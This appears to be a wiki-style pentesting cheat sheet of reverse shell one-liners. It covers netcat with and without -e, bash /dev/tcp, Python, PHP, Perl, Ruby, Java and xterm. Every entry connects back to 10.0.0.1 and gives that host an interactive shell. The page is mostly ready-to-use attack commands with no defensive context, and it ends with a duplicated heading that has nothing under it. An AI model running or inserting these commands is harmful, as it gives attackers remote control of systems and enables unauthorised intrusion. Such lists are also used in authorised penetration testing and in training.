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https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
== Netcat ==
=== with -e support ===
<syntaxhighlight lang="bash">
nc -e /bin/sh 10.0.0.1 1234
</syntaxhighlight>
=== Without -e suport ===
<syntaxhighlight lang="bash">
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
</syntaxhighlight>
== Python ==
=== Python 2.7 (Linux) ===
<syntaxhighlight lang="python">
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
</syntaxhighlight>
== PHP ==
<syntaxhighlight lang="php">
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
</syntaxhighlight>if it doesn't work try php4 php5 php6...
== Bash ==
<syntaxhighlight lang="bash">
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
</syntaxhighlight>
== Perl ==
<syntaxhighlight lang="perl">
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
</syntaxhighlight>
== Ruby ==
<syntaxhighlight lang="ruby">
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
</syntaxhighlight>
== Java ==
<syntaxhighlight lang="java">
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
</syntaxhighlight>
== xterm ==
<syntaxhighlight lang="bash">
xterm -display 10.0.0.1:1
</syntaxhighlight>
==Upgrading nc shell==
==Upgrading nc shell==